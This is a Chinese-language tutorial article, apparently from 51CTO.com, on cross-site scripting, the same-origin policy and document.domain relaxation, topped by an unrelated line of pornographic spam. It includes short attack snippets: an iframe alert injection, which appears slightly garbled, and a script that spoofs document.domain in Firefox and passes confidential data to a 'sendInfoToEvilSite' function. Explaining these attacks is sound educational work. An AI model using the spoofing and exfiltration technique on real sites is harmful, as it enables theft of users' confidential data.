自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

跨站腳本攻擊深入解析:安全模型和同源策略

原創(chuàng)
安全 應用安全
在本文中,我們論述瀏覽器方面的安全措施,以及如何利用跨站腳本(XSS)這種常見的技術來規(guī)避瀏覽器的安全措施。在正式討論跨站腳本攻擊之前,我們必須首先要對現(xiàn)有的安全措施有所了解,所以本文將詳細介紹當前Web應用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。

【51CTO.com 獨家特稿】跨站腳本的名稱源自于這樣一個事實,即一個Web 站點(或者人)可以把他們的選擇的代碼越過安全邊界線注射到另一個不同的、有漏洞的Web 站點中。當這些注入的代碼作為目標站點的代碼在受害者的瀏覽器中執(zhí)行時,攻擊者就能竊取相應的敏感數(shù)據(jù),并強迫用戶做一些用戶非本意的事情。

在本文中,我們論述瀏覽器方面的安全措施,以及如何利用跨站腳本(XSS)這種常見的技術來規(guī)避瀏覽器的安全措施。在正式討論跨站腳本攻擊之前,我們必須首先要對現(xiàn)有的安全措施有所了解,所以本文將詳細介紹當前Web應用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。

一、Web安全模型

盡管瀏覽器的安全措施多種多樣,但是要想黑掉一個Web應用,只要在瀏覽器的多種安全措施中找到某種措施的一個漏洞或者繞過一種安全措施的方法即可。瀏覽器的各種保安措施之間都試圖保持相互獨立,但是攻擊者只要能在出錯的地方注入少許JavaScript,所有安全控制幾乎全部瓦解——最后還起作用的就是最弱的安全防線:同源策略。同源策略管轄著所有保安措施,然而,由于瀏覽器及其插件,諸如Acrobat Reader、Flash 和Outlook Express漏洞頻出,致使同源策略也頻頻告破。在本文里,我們主要討論瀏覽器的三個安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型


此外,我們還會介紹如何利用JavaScript代碼削弱這些安全模型的方法。

二、同源策略


同源策略又名同域策略是瀏覽器中的主要安全措施。這里的“源”指的是主機名、協(xié)議和端口號的組合;我們可以把一個“源”看作是某個web頁面或瀏覽器所瀏覽的信息的創(chuàng)建者。 同源策略,簡單地說就是要求動態(tài)內(nèi)容(例如,JavaScript或者VBScript)只能閱讀與之同源的那些HTTP應答和cookies,而不能閱讀來自不同源的內(nèi)容。更為有趣的是,同源策略對寫操作沒有任何限制。因而,一個web站點可以向任何其他的Web站點發(fā)送(或寫入)HTTP請求,盡管為了防止跨站請求可能會對發(fā)送這些請求有關的cookies和頭部有所限制。
解釋同源策略的最好的方法是實例說明。假定我們在網(wǎng)頁http://foo.com/bar/baz.html中放上了JavaScript代碼。那么,這些JavaScript可以讀/寫一些頁面,但是卻不能讀/寫其他頁面。下表說明了來自http://foo.com/bar/baz.html的JavaScript可以訪問哪些URL。

URL 能否訪問這個URL 原因
http://foo.com/index.html
可以。
協(xié)議和主機名匹配。
端口沒有顯式說明。
該端口被假設為80。注意,兩者的目錄是不同的。這個目錄是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 協(xié)議和主機名匹配。
端口沒有顯式說明。


該端口被假設為80。注意目錄的區(qū)別這里的目錄是/cgi-bin/version2,而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有幾乎相同的URL,HTTP協(xié)議匹配,端口是80(HTTP默認的端口),主機名也一樣。
https://foo.com/bar/baz.html
不可以。 協(xié)議不同,這里使用的協(xié)議是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 兩個主機名不同,這里的主機名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 兩個端口號不同。這里的端口是8080,而前面的端口被假定為80。
上表說明了當http://foo.com/bar/baz.html試圖加載某些URL時同源策略的工作情況。下面我們介紹同源策略的例外。通過在被請求的頁面中對JavaScript的變量document.domain進行相應設置,可以使瀏覽器有限度地違反同源策略,即,如果http://www.foo.com/bar/baz.html頁面中含有下列內(nèi)容:
< script >
document.domain = "foo.com";
< / script >
那么任何http://xyz.foo.com/anywhere.html頁面內(nèi)的腳本都可以向http://www.foo.com/bar/baz.html發(fā)送HTTP請求,并可以讀取其內(nèi)容。在此種情況下,如果攻擊者能夠向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的話,那么他同時也能在http://www.foo.com/bar/baz.html中注入JavaScript代碼。
為此,攻擊者需要首先在http://xyz.foo.com/anywhere.html(其document.domain設為foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其document.domain也設為foo.com)中載入一個iframe,然后就可以通過JavaScript來訪問該iframe的內(nèi)容了。例如,http://xyz.foo.com/anywhere.html中的下列代碼將在www.foo.com域中執(zhí)行一個JavaScript的alert()函數(shù):
< iframe src="onerror=alert(1)’">< / iframe >
這樣,document.domain將允許攻擊者跨域活動(域際旅行)。注意,你不能在document.domain變量中放入任何域名,相反,只能在document.domain變量中放置“源”頁面即所在頁面的域名的上級域名,如
www.foo.com的上級域名是foo.com 。
在Firefox瀏覽器中,攻擊者可以利用__defineGetter__()來操縱document.domain,命令document.domain返回攻擊者所選的任意字符串。這個不會損害瀏覽器的同源策略,因為它只對JavaScript引擎有影響,而不會影響底層的文檔對象模型(DOM),然而這對于依靠document.domain在后臺進行跨域請求的JavaScript應用程序卻是有影響的。例如,假如一個后臺請求http://somesite.com/GetInformation?callback=callbackFunction的應答的HTTP體如下所示:
function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}


通過誘騙受害者訪問(攻擊者的)包含下列腳本的頁面,攻擊者就可以可以獲得保密資料:
< script >
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >